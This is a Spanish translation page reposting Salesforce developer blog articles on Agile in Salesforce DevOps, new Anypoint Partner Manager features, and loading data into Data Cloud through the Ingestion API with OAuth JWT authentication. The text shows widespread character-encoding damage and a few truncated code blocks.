Las siguientes pr√°cticas pueden ayudarlo a integrar Agile en Salesforce DevOps:

  • Entrenamiento y educaci√≥n

    Aseg√ļrese de que los miembros de su equipo comprendan los principios Agile y las pr√°cticas de Scrum o Kanban en funci√≥n de la metodolog√≠a elegida. Invierta en cursos de capacitaci√≥n, talleres y recursos relevantes.

  • Empieza peque√Īo

    Comience con un proyecto peque√Īo que no tenga mucho en juego. Esto permitir√° que su equipo aprenda y se adapte a Agile en Salesforce DevOps en un entorno de baja presi√≥n.

  • Seleccione un marco √°gil adecuado

    Elija Scrum o Kanban seg√ļn los requisitos de su proyecto. Scrum es ideal para proyectos complejos que requieren una estrecha colaboraci√≥n, mientras que Kanban es adecuado para flujos de trabajo continuos con tareas independientes.

  • Utilice herramientas √°giles de gesti√≥n de proyectos

    Utilice herramientas dise√Īadas espec√≠ficamente para pr√°cticas √°giles. Herramientas como Inspire Planner y Jira pueden facilitar los flujos de trabajo Scrum y Kanban, facilitando la transici√≥n. Si su organizaci√≥n utiliza Salesforce, idealmente deber√≠a buscar una herramienta de gesti√≥n de proyectos nativa de Salesforce en AppExchange.

  • Promover una cultura colaborativa

    Fomente la comunicación abierta, la retroalimentación frecuente y la colaboración activa. Recuerde, Agile en Salesforce DevOps se trata tanto de mentalidad y cultura como de procesos y herramientas.

  • Hacer uso de otras herramientas de DevOps

    Hay otras herramientas de Salesforce DevOps disponibles que también pueden ayudar a los equipos a colaborar de manera efectiva para garantizar que el software que entregan sea rápido y confiable.

  • Perfeccione regularmente el trabajo pendiente : las sesiones peri√≥dicas de preparaci√≥n del trabajo pendiente garantizan que su trabajo pendiente siga siendo relevante, priorizado y manejable.
  • Aceptar los cambios : los cambios son una parte integral de Agile. Est√© preparado para incorporar cambios en el pr√≥ximo sprint (en Scrum) o cuando el l√≠mite WIP lo permita (en Kanban).
  • Realice retrospectivas : despu√©s de cada sprint (en Scrum) o a intervalos regulares (en Kanban), realice reuniones retrospectivas para analizar qu√© funcion√≥ bien, qu√© no y c√≥mo puede mejorar el equipo.
  • Aproveche las herramientas de Salesforce : puede usar herramientas como Inspire Planner que est√°n espec√≠ficamente dise√Īadas para administrar procesos Agile directamente en Salesforce. Esto puede ser particularmente √ļtil si su proyecto implica el desarrollo de Salesforce.
Inspire Planner: herramienta ágil de gestión de proyectos para SalesforceInspire Planner: herramienta ágil de gestión de proyectos para Salesforce

8 errores a evitar al incorporar Agile en Salesforce DevOps

La incorporación de Agile en Salesforce DevOps puede traer muchos beneficios, pero hay ciertas trampas que se deben evitar para garantizar una implementación y ejecución sin problemas:

  • No entrenar al equipo : Scrum y Kanban requieren una comprensi√≥n clara de los principios y pr√°cticas involucrados. Es vital asegurarse de que su equipo reciba la capacitaci√≥n adecuada antes de la implementaci√≥n.
  • Descuidar la comunicaci√≥n : la comunicaci√≥n regular y clara es crucial en las metodolog√≠as √°giles. Sin ella, pueden surgir malas interpretaciones que conduzcan a ineficiencias y errores.
  • Sobrecargar el flujo de trabajo : Agile no significa hacer m√°s trabajo en menos tiempo. Se trata de administrar el trabajo de manera m√°s efectiva. Aseg√ļrese de que la carga de trabajo del equipo sea manejable y sostenible. En Kanban, es esencial no exceder el l√≠mite de trabajo en curso (WIP). La sobrecarga puede provocar cuellos de botella, lo que reduce la productividad general.
  • Descuidar la calidad : para entregar r√°pidamente, los equipos pueden comprometer la calidad. Incorpore pr√°cticas como el desarrollo basado en pruebas (TDD) y las pruebas automatizadas para garantizar que la calidad no se vea afectada.
  • Ignorando las retrospectivas : Scrum fomenta las retrospectivas peri√≥dicas para identificar y abordar √°reas de mejora. Ignorar estas reuniones puede dificultar la mejora continua, que es vital en Agile en Salesforce DevOps.
  • No adaptarse al cambio : las metodolog√≠as √°giles como Scrum y Kanban se tratan de aceptar el cambio. La resistencia al cambio puede hacer que estas metodolog√≠as sean menos efectivas. Supere esto a trav√©s de capacitaci√≥n, comunicaci√≥n abierta sobre los beneficios de Agile en Salesforce DevOps e involucrando a los miembros del equipo en el proceso de transici√≥n.
  • Uso incorrecto de herramientas : las herramientas de Salesforce y Agile deben usarse de manera efectiva para monitorear el progreso y administrar los flujos de trabajo. El uso incorrecto puede generar confusi√≥n e ineficiencia. Busque una aplicaci√≥n de gesti√≥n de proyectos de Salesforce Agile que ofrezca un proceso adecuado de incorporaci√≥n y formaci√≥n.
  • Falta de participaci√≥n de las partes interesadas : el aporte de las partes interesadas es invaluable en las metodolog√≠as √°giles. Ignorar sus comentarios puede generar productos que no satisfagan las necesidades de los usuarios.

Herramientas compatibles con metodologías ágiles en Salesforce DevOps

Varias herramientas pueden ayudar a administrar los flujos de trabajo de Scrum y Kanban, incluidas Jira, Inspire Planner y Trello.

jira

Atlassian desarrolló Jira como una herramienta versátil compatible con Scrum, Kanban y metodologías mixtas. Sus sólidas funciones incluyen la priorización de tareas pendientes, la planificación de sprints, los gráficos de avance y reducción, los flujos de trabajo personalizados y más. Sin embargo, para integrar Jira con Salesforce, deberá configurar una solución de integrador de terceros y mantenerla a lo largo del tiempo.

Inspirar planificador

Por el contrario, la herramienta llamada Inspire Planner es una aplicaci√≥n de gesti√≥n de proyectos 100% nativa de Salesforce que es totalmente compatible con las metodolog√≠as Scrum y Kanban listas para usar. Inspire Planner tiene m√°s de 130 rese√Īas de 5 estrellas en AppExchange e incluye todas las funciones est√°ndar, como trabajos pendientes, sprints, puntos de la historia, gr√°ficos de trabajo pendiente y m√°s.

Al ser nativo de Salesforce, Inspire Planner no solo ofrece una integración perfecta con Salesforce, sino que también le permite personalizar completamente la aplicación para agilizar su proceso de gestión de proyectos.

¬ŅY si necesita la gesti√≥n de proyectos tradicional de Waterfall? No se preocupe, Inspire Planner tambi√©n ofrece funciones avanzadas de gesti√≥n de proyectos para esta metodolog√≠a, incluido un gr√°fico de Gantt interactivo, gesti√≥n de recursos, seguimiento del tiempo, carteras, gesti√≥n de riesgos, l√≠neas base, dependencias de tareas avanzadas, ruta cr√≠tica, uso compartido externo, gesti√≥n de restricciones, automatizaci√≥n. , y mucho m√°s.

Trello

Trello es un sistema f√°cil de usar basado en tarjetas para visualizar el trabajo y administrar los flujos de trabajo de Kanban. Las tarjetas de Trello pueden representar historias de usuarios o tareas, que se pueden mover entre listas (que representan diferentes etapas de su flujo de trabajo) en un tablero de Trello.

Aunque no tiene el nivel de personalizaci√≥n o las funciones de generaci√≥n de informes detallados como Inspire Planner y Jira, la simplicidad de Trello lo convierte en una opci√≥n atractiva para equipos m√°s peque√Īos o proyectos simples.

Una mirada m√°s cercana a Inspire Planner

Inspire Planner est√° dise√Īado para ser una soluci√≥n de gesti√≥n de proyectos Agile integral pero f√°cil de usar para Salesforce. El hecho de que sea nativo de Salesforce significa que inherentemente funciona bien con sus datos existentes en Salesforce, evitando por completo la necesidad de integraciones.

Inspire Planner Gestión ágil de proyectos en SalesforceInspire Planner Gestión ágil de proyectos en Salesforce

Aquí hay algunas razones por las que Inspire Planner podría ser una buena opción para su equipo:

  • Soporte √°gil completo : Inspire Planner es compatible con las metodolog√≠as Scrum y Kanban desde el primer momento para que pueda elegir el mejor enfoque para las necesidades de su proyecto. Puede gestionar f√°cilmente la acumulaci√≥n de productos, planificar sprints, realizar un seguimiento de los puntos de la historia, visualizar el trabajo mediante tableros Kanban, gestionar recursos y analizar el progreso con gr√°ficos de evoluci√≥n.
  • Integraci√≥n perfecta con Salesforce : dado que Inspire Planner vive dentro de su organizaci√≥n de Salesforce, puede vincular directamente sus historias de usuario o tareas a cualquier registro de Salesforce como Oportunidades, Casos y Cuentas, incluidos los registros de sus objetos personalizados. Esto reduce la duplicaci√≥n de datos y conecta sus datos de Salesforce con sus flujos de trabajo √°giles.
  • Colaboraci√≥n : Aprovecha Chatter de Salesforce para la comunicaci√≥n, fomentando la colaboraci√≥n dentro del equipo. Tambi√©n puede compartir el estado del proyecto con las partes interesadas directamente en Salesforce.
  • Interfaz intuitiva y familiar : incorpore r√°pidamente nuevos equipos e impulse la adopci√≥n a trav√©s de una experiencia de usuario perfecta y una interfaz de usuario familiar. Utilice funciones est√°ndar como Tareas de Salesforce, Chatter, Informes y Paneles, y m√°s.

Elegir la herramienta adecuada para sus necesidades y el tama√Īo de su equipo

Elegir la herramienta adecuada depende del tama√Īo de su equipo, la complejidad del proyecto y la metodolog√≠a Agile que siga. Aqu√≠ hay algunas pautas:

  • Tama√Īo del equipo y complejidad del proyecto : para equipos peque√Īos o proyectos menos complejos, la simplicidad de Trello puede ser ventajosa. Una herramienta m√°s robusta como Jira o Inspire Planner podr√≠a ser m√°s adecuada para equipos m√°s grandes o proyectos complejos que requieren flujos de trabajo personalizados, informes detallados y m√°s.
  • Integraci√≥n de Salesforce : si su organizaci√≥n utiliza mucho Salesforce, una aplicaci√≥n nativa de Salesforce como Inspire Planner podr√≠a ser la mejor opci√≥n para una integraci√≥n perfecta. Y si es nuevo en Salesforce, puede mejorar sus habilidades con los mejores recursos de capacitaci√≥n de Salesforce para comenzar.
  • Metodolog√≠a √°gil : si su equipo sigue estrictamente Scrum, tanto Inspire Planner como Jira podr√≠an ser preferibles. Para Kanban, las tres herramientas podr√≠an satisfacer sus necesidades. Para una combinaci√≥n de metodolog√≠as Agile y Waterfall, Inspire Planner ser√≠a la mejor opci√≥n.
  • Presupuesto : El costo podr√≠a ser otro factor decisivo. Trello suele ser m√°s rentable para equipos peque√Īos, mientras que Jira e Inspire Planner ofrecen funciones m√°s avanzadas a un costo mayor.

Conclusión

La incorporación de Agile en Salesforce DevOps realmente puede amplificar la adaptabilidad, la colaboración en equipo, la satisfacción del cliente, la eficiencia y la gestión de riesgos. El énfasis en el desarrollo iterativo y la garantía de calidad garantiza estándares de primer nivel dentro del desarrollo y las operaciones de Salesforce.

Sin embargo, es importante recordar que el corazón de Agile radica en cultivar una mentalidad comprometida con el aprendizaje continuo y la adaptabilidad.

Aquí hay algunas ideas procesables:

  • Comprom√©tase con el aprendizaje continuo : anime a su equipo a aprender de cada iteraci√≥n y use esos conocimientos para impulsar mejoras en los siguientes sprints.
  • Acepta el cambio : el cambio es la √ļnica constante en Agile. Fomentar un entorno en el que el cambio no solo se acepte, sino que se acoja como una oportunidad para mejorar.
  • Fomentar la colaboraci√≥n : promover una cultura de comunicaci√≥n abierta y colaboraci√≥n. Esto puede conducir a soluciones m√°s innovadoras y a un equipo m√°s fuerte.
  • Involucrar a las partes interesadas : involucrar regularmente a las partes interesadas en las revisiones de sprint para garantizar que el producto satisfaga las necesidades y expectativas de los usuarios.
  • Aproveche las herramientas de manera efectiva : use las herramientas de Salesforce y Agile de manera efectiva para realizar un seguimiento del progreso, administrar los flujos de trabajo y facilitar la comunicaci√≥n.

Al adoptar estas estrategias, los equipos pueden desbloquear todo el potencial de las metodologías ágiles, lo que lleva a un mayor rendimiento y niveles elevados de satisfacción del cliente.

Seguir leyendo

Las nuevas funciones en Anypoint Partner Manager mejoran la agilidad y la eficiencia de la cadena de suministro ‚ėĀÔłŹ

Las nuevas funciones en Anypoint Partner Manager mejoran la agilidad y la eficiencia de la cadena de suministro ‚ėĀÔłŹ

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

…

Nuevas funciones en Anypoint Partner Manager mejoran la agilidad y la eficiencia de la cadena de suministro | Blog de desarrolladores de Salesforce

Construir unacadena de suministro resiliente se ha convertido en una prioridad principal para las organizaciones debido a las interrupciones que hemos visto en los √ļltimos a√Īos, como el COVID-19 y el conflicto entre Ucrania y Rusia .

Las plataformas de integración B2B juegan un papel vital para ayudar a las organizaciones a lograr la diversificación y expansión de la cadena de suministro. La incorporación más rápida de nuevos socios comerciales y las ricas capacidades de gestión operativa son dos aspectos importantes que los clientes necesitan para construir una cadena de suministro resistente.

Anypoint Partner Manager de MuleSoft es una plataforma de integración B2B de próxima generación y código bajo. Permite a las organizaciones integrar su red de aplicaciones empresariales componibles con sus socios comerciales externos a través de métodos EDI tradicionales, y también a través de API modernas y canales que no son EDI. Anypoint Partner Manager y la plataforma más amplia ofrecen funciones completas que ayudan a los clientes a lograr una verdadera trazabilidad de extremo a extremo.

Novedades de Anypoint Partner Manager

Nos complace anunciar que la versión de julio de 2023 de Anypoint Partner Manager presenta las siguientes innovaciones clave que ayudan a las organizaciones a lograr una incorporación de socios más rápida y una gestión operativa superior de las transacciones comerciales.

  • Reproducci√≥n de transacciones
  • Soporte para CSV y archivos delimitados
  • Mejoras en la interoperabilidad de X12 y EDIFACT

Reproducción de transacciones

Dado que las organizaciones comercian con m√ļltiples socios para intercambiar transacciones comerciales sensibles al tiempo, es importante que los usuarios operativos cuenten con herramientas de autoservicio para reprocesar documentos comerciales cuando sea necesario. El procesamiento de transacciones B2B es casi siempre un proceso de varios pasos que involucra la interacci√≥n con socios comerciales por un lado y con sistemas back-end dispares por el otro, con las plataformas de integraci√≥n B2B actuando como una puerta de enlace cr√≠tica.

Los usuarios ahora pueden reproducir cargas √ļtiles de transmisi√≥n con un simple clic en un bot√≥n en la interfaz de usuario, o automatizar la activaci√≥n de acciones de reproducci√≥n a trav√©s de llamadas a la API de la plataforma. A medida que se reproducen las transmisiones, los usuarios pueden ver el historial de reproducci√≥n en el registro de detalles de transmisi√≥n original y tambi√©n ver las instancias de transmisi√≥n reproducidas a trav√©s de experiencias de b√ļsqueda y navegaci√≥n sencillas. Los administradores de la plataforma tambi√©n pueden ver el historial de todas las acciones de los usuarios, incluidas las repeticiones de los registros de auditor√≠a en Gesti√≥n de acceso, esencialmente una experiencia completa e integral en la gesti√≥n de las necesidades de reproducci√≥n de transacciones de una empresa.

CSV/archivos delimitados

Expandir el ecosistema de socios comerciales a trav√©s de m√ļltiples geograf√≠as requiere que las organizaciones est√©n abiertas a intercambiar transacciones comerciales en formatos que sus socios puedan admitir. Si bien la mayor√≠a de las organizaciones utilizan ampliamente los dos est√°ndares EDI globales, X12 y EDIFACT, hay empresas que tienen diferentes preferencias y capacidades sobre qu√© formato pueden admitir. Anypoint Partner Manager ha estado admitiendo formatos XML y JSON adem√°s de X12 y EDIFACT durante bastante tiempo.

Con la introducción de la compatibilidad con archivos CSV/delimitados , los clientes ahora tienen más opciones para incorporar a sus socios comerciales más rápido, con una experiencia de código bajo simplificada y basada en la configuración, a través de una amplia variedad de formatos y protocolos de datos.

Mejoras en la interoperabilidad de X12 y EDIFACT

Además de la reproducción de transacciones y la compatibilidad con archivos CSV/delimitados, esta versión también incluye las siguientes mejoras que mejoran la interoperabilidad general de Anypoint Partner Manager, lo que permite a los clientes integrarse con su ecosistema de socios comerciales externos con confianza.

El primero es una reconciliación de acuse de recibo mejorada para manejar la aceptación parcial y el rechazo con escenarios de error.

El segundo es la capacidad de configurar c√≥digos hexadecimales como caracteres delimitadores X12 y EDIFACT para generar cargas √ļtiles EDI, que coincidan con las especificaciones de los socios comerciales.

Conclusión

Con la introducción de las nuevas funciones en la versión de julio de 2023, Anypoint Partner Manager ahora ofrece más opciones para que las empresas integren su red de aplicaciones empresariales componibles con su ecosistema de socios comerciales externos.

Mire este video para obtener más información sobre las nuevas funciones de Anypoint Partner Manager y más.

Recursos

Sobre el Autor

Vijayan Ganapathy es director de gesti√≥n de productos en MuleSoft, donde dirige su cartera de productos de integraci√≥n B2B. Durante su carrera, ha ayudado a organizaciones a dise√Īar y construir soluciones de integraci√≥n B2B/EDI a gran escala utilizando varias plataformas de integraci√≥n. Con a√Īos de experiencia en el campo de la log√≠stica y la cadena de suministro, Vijayan lidera la estrategia y ejecuci√≥n de Anypoint Partner Manager y otros productos en el espacio de integraci√≥n B2B. En su tiempo libre, a Vijayan le gusta pasar tiempo con sus dos hijos y explorar el aire libre. Siga a Vijayan en LinkedIn.

Obtenga las √ļltimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a trav√©s de Slack o RSS.

Agregar a Slack Suscríbete a RSS

Seguir leyendo

Cargue datos mediante programaci√≥n con la API de ingesta ‚ėĀÔłŹ

Cargue datos mediante programaci√≥n con la API de ingesta ‚ėĀÔłŹ

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

…

Cargue datos mediante programación con la API de ingesta | Blog de desarrolladores de Salesforce

Salesforce Data Cloud ofrece varios conectores predefinidos para la importación de datos. Estos le permiten conectar otra organización de Salesforce, una instancia de Marketing Cloud, almacenamientos de datos como Amazon S3 o cualquier otra fuente admitida por MuleSoft Salesforce Data Cloud Connector . Para conectarse a un sistema de terceros, puede utilizar la API de ingesta .

La API de ingesta es una interfaz RESTful que facilita la carga de datos mediante programación en Data Cloud. Admite patrones de interacción masiva y de transmisión. El patrón de transmisión usa JSON como su formato, cargando datos en micro lotes a través de la API REST. El patrón masivo, por otro lado, emplea el formato CSV y carga datos usando trabajos.

En esta publicación de blog, analizaremos cómo configurar el conector de la API de ingesta y comenzar a cargar datos mediante programación utilizando los patrones Streaming y Bulk.

Cuándo usar la ingestión Streaming vs Bulk

Ingestión de transmisión Ingestión a granel
Al actualizar peque√Īos microlotes de registros casi en tiempo real Al mover grandes vol√ļmenes de datos en un programa diario, semanal o mensual
Cuando se utilizan sistemas de origen de datos que se basan en arquitecturas de transmisión modernas Al usar sistemas heredados, donde solo puede exportar datos durante las horas de menor actividad
Al crear eventos de captura de datos modificados Al usar una nueva organización de Data Cloud que desea rellenar con 30, 60 o más de 90 días de datos
Al consumir datos de webhooks

Para configurar la API de ingesta, deber√° seguir cuatro pasos de requisitos previos:

  • Crear un conector de API de ingesta
  • Crear e implementar un flujo de datos
  • Crear una aplicaci√≥n conectada
  • Solicitar un token de acceso a la nube de datos

Veamos el proceso de creación y configuración de un conector de ingesta para comenzar a cargar datos en Data Cloud.

Creación de un conector de API de ingesta

Supongamos que tiene acceso a Data Cloud. Para conectar una nueva fuente de API de ingesta mediante el conector de API de ingesta, vaya a Configuración de nube de datos y seleccione API de ingesta .

Aquí encontrará todos los conectores disponibles en su organización. Para crear uno nuevo, haga clic en Conectar y proporcione un nombre. Para nuestra aplicación de muestra, trabajaremos con una empresa de energía solar ficticia. Estamos interesados en recibir eventos de métricas relacionadas con el rendimiento energético de sus paneles solares.

Una vez que se haya creado el conector, necesitaremos decirle a Data Cloud qu√© tipo de datos estamos esperando. Para esto, necesitaremos cargar un archivo de esquema utilizando la especificaci√≥n OpenAPI. Este archivo de esquema tiene requisitos espec√≠ficos, as√≠ que aseg√ļrese de consultar la documentaci√≥n para obtener m√°s informaci√≥n.

A continuaci√≥n se muestra un ejemplo del archivo de esquema que cargaremos, que representa un solar_panel_event . Los campos clave a tener en cuenta incluyen event_id , que ser√° √ļnico para cada evento y luego se asignar√° en Data Cloud como clave principal. Otro es customer_id , que nos ser√° √ļtil para mapear el evento con un cliente de nuestra organizaci√≥n. Finalmente, date_time representa la hora del evento.

panel_solar_event.yaml

Una vez que carguemos el esquema, podremos obtener una vista previa de sus campos y tipos de datos, y luego guardarlo en nuestro conector.

Ahora que nuestro conector tiene un esquema, podemos decir que est√° creado. Sin embargo, a√ļn no est√° listo para comenzar a recibir datos. Necesitamos crear un flujo de datos para este prop√≥sito.

Nota: Dado que los esquemas pueden evolucionar con el tiempo, tambi√©n puede usar la interfaz del conector de la API de ingesta para actualizar el esquema y agregar nuevos campos a su objeto de datos seg√ļn sea necesario.

Creación e implementación de un flujo de datos

Ya tenemos listo nuestro conector API de ingesta. Ahora es el momento de establecer una conexión para comenzar a importar datos. Para eso, necesitamos crear un flujo de datos . Una vez que el flujo de datos está activo, podemos comenzar a ingerir datos en Data Cloud y almacenarlos como un objeto de Data Lake.

Para crear un nuevo flujo de datos, vaya a su pesta√Īa en la aplicaci√≥n Data Cloud, haga clic en Nuevo , seleccione Ingestion API y luego haga clic en Siguiente .

Nota: La opción API de ingesta está deshabilitada si no tiene ninguna fuente de ingesta conectada.

A continuación, verá los diferentes objetos que están asociados con su esquema. En nuestro caso, seleccione el objeto solar_panel_event y haga clic en Siguiente .

Al crear un flujo de datos, deberá seleccionar una categoría o tipo de datos en ese flujo de datos. Hay tres categorías: Compromiso , Perfil y Otro .

Compromiso Un conjunto de datos que representa un compromiso basado en series de tiempo, como un evento, interacción con el cliente, interacción web, etc.

Cuando se selecciona, el men√ļ desplegable Campo de hora del evento aparece en la interfaz de usuario.

Perfil Un conjunto de datos que representa:

‚Äď Una lista de consumidores con identificadores, como identificaciones de consumidores, direcciones de correo electr√≥nico o n√ļmeros de tel√©fono

‚Äď Una lista de empresas o cuentas con ID de cuenta

‚Äď Una lista de empleados o cualquier otra poblaci√≥n por la que desee segmentar o utilizar como poblaci√≥n inicial del segmento

Otro Un conjunto de datos que no es un compromiso o un perfil, como información de productos o tiendas.

Para nuestro ejemplo, dado que estamos planeando recibir eventos, seleccionaremos Compromiso . Mapearemos el event_id como la clave principal y la date_time como el campo de hora del evento.

Ahora que nuestros datos están configurados, es hora de implementarlos. Después de revisar los flujos de datos que se van a crear, hagamos clic en Implementar para activarlos.

Ahora, echemos un vistazo a la página de detalles del flujo de datos. Aquí podemos ver el objeto Data Lake que se ha creado en Data Cloud. Puede identificar un objeto de Data Lake por su sufijo __dll . Desde esta misma interfaz, puede comenzar a asignar sus datos a los objetos de su organización para crear objetos de modelo de datos (parte del proceso de armonización de Data Cloud). Sin embargo, no cubriremos ese tema en esta publicación de blog, pero tenemos un excelente video con Danielle Larregui que le muestra cómo hacerlo.

Nuestro conector API de ingesta está listo para comenzar a recibir datos de sistemas de terceros. Para confirmar, regresemos a la interfaz de configuración de la API de ingesta, donde puede ver que el estado del conector es En uso .

Creación de una aplicación conectada

La API de ingesta admite todos los flujos de OAuth 2.0 admitidos por otras API REST de Salesforce. Para cargar datos mediante la API de ingesta, su aplicación conectada requiere los siguientes ámbitos:

√Āmbitos de OAuth requeridos

cdp_ingest_api Acceda y administre sus datos de API de ingesta de nube de datos
API Accede y administra tus datos
refresco_token, acceso_sin conexión Realizar solicitudes en su nombre en cualquier momento

Además, nuestra aplicación conectada requerirá un certificado digital. Para crear uno, puede ejecutar el siguiente comando usando el comando openssl :

Este comando crear√° dos archivos, salesforce.key , que es la clave privada, y salesforce.crt , que es la clave p√ļblica.

Nota : si no tiene instalado el comando openssl , puede instalarlo desde el sitio web de OpenSSL .

Para saber cómo crear una aplicación conectada, consulte la documentación oficial.

Solicitud de un token de acceso a la nube de datos

Para este ejemplo, usaremos el flujo de soporte JWT de OAuth 2.0 . Primero, necesitaremos crear un JWT (JSON Web Token) para solicitar un token de acceso.

Para crear un JWT, configurar√° el encabezado para usar el algoritmo RSA256 .

Encabezado JWT

Luego, configure las siguientes notificaciones, teniendo en cuenta algunas notificaciones importantes:

  • iss: la clave de consumidor de OAuth/ID de cliente de su aplicaci√≥n conectada
  • sub: el nombre de usuario de su organizaci√≥n de Data Cloud
  • exp: el tiempo de vencimiento del token, expresado como una marca de tiempo de √©poca

reclamos JWT

Nota : La época de Unix (o la hora de Unix o la hora POSIX o la marca de tiempo de Unix) es la cantidad de segundos que han transcurrido desde el 1 de enero de 1970 (medianoche UTC/GMT).

A continuación, deberá utilizar el algoritmo JWT para obtener el token completo y verificado.

Pero seamos honestos, no queremos crear un JWT manualmente. Para esto, utilizaremos el sitio web JWT.io para simplificar el proceso. Aseg√ļrese de que el mensaje Firma verificada aparezca a continuaci√≥n, lo que indica que nuestro JWT es v√°lido.

O puede crearlo programáticamente usando el lenguaje de programación de su elección. Más adelante en este artículo, compartiré un práctico script de Node.js para generar el token de acceso a la nube de datos.

Antes de que podamos autenticarnos usando el JWT que generamos, debemos aprobar este consumidor. Puede hacerlo abriendo la siguiente URL en su navegador.

<dx-code-block title language code-block="https://login.salesforce.com/services/oauth2/authorize?response_type=token&client_id=&redirect_uri=¬Ľ>

Y luego, inicie sesión y permita el acceso:

Ahora que hemos aprobado nuestro JWT, necesitamos autenticarnos. Este es un proceso de dos pasos. Primero, necesitamos obtener un token de acceso usando el JWT. Para hacer esto, realicemos una solicitud POST HTTP con la siguiente información.

<dx-code-block title language code-block="POST https://login.salesforce.com/services/oauth2/token
Content-Type : x-www-form-urlencoded
grant_type=urn:ietf:params:oauth:grant-type:jwt-bearer
&assertion=¬Ľ>

Nota: aseg√ļrese de reemplazar <JWT> con el token que creamos anteriormente.

Esta solicitud nos dará un token de acceso central y la URL de la instancia de Data Cloud, utilizando nuestra aplicación conectada. Como se muestra en el alcance , se nos otorgan los alcances cdp_ingest_api y api .

A continuación, debemos cambiar el token de acceso principal por un token de nube de datos. Para hacer eso, realicemos la siguiente solicitud POST.

<dx-code-block title language code-block="POST /services/a360/token Content-Type : x-www-form-urlencoded grant_type=urn:salesforce:grant-type:external:cdp &subject_token= &subject_token_type=urn:ietf:params:oauth:token-type:access_token¬Ľ>

Ahora, estamos autenticados. El token de acceso a la nube de datos resultante es lo que usaremos para realizar solicitudes a la API de ingesta.

Para simplificar el proceso, he creado un script Node.js. Crea el JWT y realiza la autenticación en dos pasos. Para usarlo, necesitará la clave privada que creó anteriormente, así como un archivo de configuración similar al siguiente.

config.js

Adem√°s, instale la dependencia jsonwebtoken desde npm ejecutando:

credenciales.js

console.log(auth)) .catch((err) => console.error(err)); ¬ę>

El método generateAccessToken devolverá el objeto de autenticación de Data Cloud, incluido el access_token y la instance_url necesarios para comenzar a ingerir datos en Data Cloud.

Ingesta de datos

Tenemos toda la información necesaria para comenzar a ingerir datos en la nube de datos. Esto se puede lograr utilizando los patrones Streaming o Bulk.

Transmisión

Para comenzar a transmitir datos en el conector de Ingestión de nube de datos, primero obtenga el nombre del conector y el nombre del objeto de la configuración del conector de la API de Ingestión. Para hacer esto, puede realizar una solicitud POST como la siguiente.

<dx-code-block title language code-block="POST https:///api/v1/ingest/sources/Solar_Panel_Events/solar_panel_event
Authorization: Bearer
Content-Type: application/json
{ "data": [ {"event_id": "f47ac10b-58cc-4372-a567-0e02b2c3d479","customer_id": "003R00000123456789","battery": 75.2,"dc_current": 9.8,"dc_voltage": 35.6,"mpp_energy": 120.5,"ac_voltage": 220.1,"ac_current": 5.3,"date_time": "2023-07-07T10:15:30.05Z"} ] }¬Ľ>

Nota : aseg√ļrese de reemplazar <token de acceso a la nube de datos> y <url de instancia> con los valores respectivos que obtuvo del proceso de autenticaci√≥n.

Si todo va bien, recibir√°s la siguiente respuesta:

Esto indica que nuestros datos han sido aceptados con éxito.

Nota : también puede validar los datos con el esquema antes de enviarlos agregando /actions/test al punto final de la API.

A granel

La ingestión masiva implica varios pasos, lo que agrega un nivel de complejidad al proceso:

  • Crear un trabajo: este paso implica crear un trabajo para especificar el tipo de objeto de los datos que se procesan y la operaci√≥n que se realizar√°, que puede ser upsert o delete.
  • Cargar los datos en CSV: Despu√©s de crear el trabajo, el siguiente paso es cargar los datos en formato CSV. El archivo CSV debe contener los datos que se procesar√°n, con cada fila representando un registro y las columnas que contienen los valores de campo.
  • Indicar la preparaci√≥n de los datos: una vez que se cargan los datos, deber√° indicar que los datos est√°n listos para ser procesados.
  • Cerrar o cancelar el trabajo: despu√©s de procesar los datos, puede cerrar el trabajo para marcarlo como completado o cancelar el trabajo si es necesario.

Para obtener más información sobre cómo usar los puntos de conexión masivos, puede consultar la documentación oficial .

Puede consultar los datos entrantes utilizando el Explorador de datos en Data Cloud. Allí, seleccionará el objeto Data Lake correspondiente al conector de ingesta que creó anteriormente.

Si desea probarlo usted mismo, siempre puede utilizar nuestra colección Postman de desarrolladores de Salesforce, que incluye las API de Salesforce Data Cloud .

Conclusión

Ahora, está listo para comenzar a cargar datos mediante programación en Data Cloud mediante la API de ingesta. Siguiendo los pasos anteriores, puede conectarse sin problemas a varias fuentes de datos e importar datos en tiempo real o en masa, y comenzar a aprovechar el poder y la magia de Salesforce Data Cloud.

Adem√°s, si prefiere aprender de un video, mi colega Aditya ha creado un video √ļtil que explica lo que hemos cubierto en esta publicaci√≥n de blog . Aseg√ļrese de ver tambi√©n los otros excelentes videos de la serie Data Cloud Decoded .

Recursos

Sobre los autores

Julián Duque es un defensor principal de desarrolladores en Salesforce, donde se enfoca en Node.js, JavaScript y desarrollo backend. Le apasiona la educación y el intercambio de conocimientos y ha estado involucrado en la organización de comunidades tecnológicas y de desarrolladores desde 2001.

Sígalo @julianduque en Threads, @julian_duque en Twitter, @julianduque.co en Bluesky social o LinkedIn .

Aditya Naag Topalli es una defensora de desarrolladores líder certificada 14 veces en Salesforce. Capacita e inspira a los desarrolladores dentro y fuera del ecosistema de Salesforce a través de sus videos, seminarios web, publicaciones de blog y contribuciones de código abierto, y también habla con frecuencia en conferencias y eventos en todo el mundo. Sígalo en Twitter o LinkedIn y vea sus contribuciones en GitHub .

Obtenga las √ļltimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a trav√©s de Slack o RSS.

Agregar a Slack Suscríbete a RSS

Seguir leyendo

Explore la API de la plataforma de eventos con la colecci√≥n de cartero extendida ‚ėĀÔłŹ

Explore la API de la plataforma de eventos con la colecci√≥n de cartero extendida ‚ėĀÔłŹ

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

…

Explore la API de la plataforma de eventos con la colección extendida de Postman | Blog de desarrolladores de Salesforce

Para una gran cantidad de nuestros clientes, la plataforma Salesforce sirve como la piedra angular de sus sistemas de información y, por lo tanto, debe integrarse perfectamente con una amplia gama de sistemas de terceros. Entre las muchas opciones de integración disponibles se encuentra la plataforma de eventos de Salesforce.

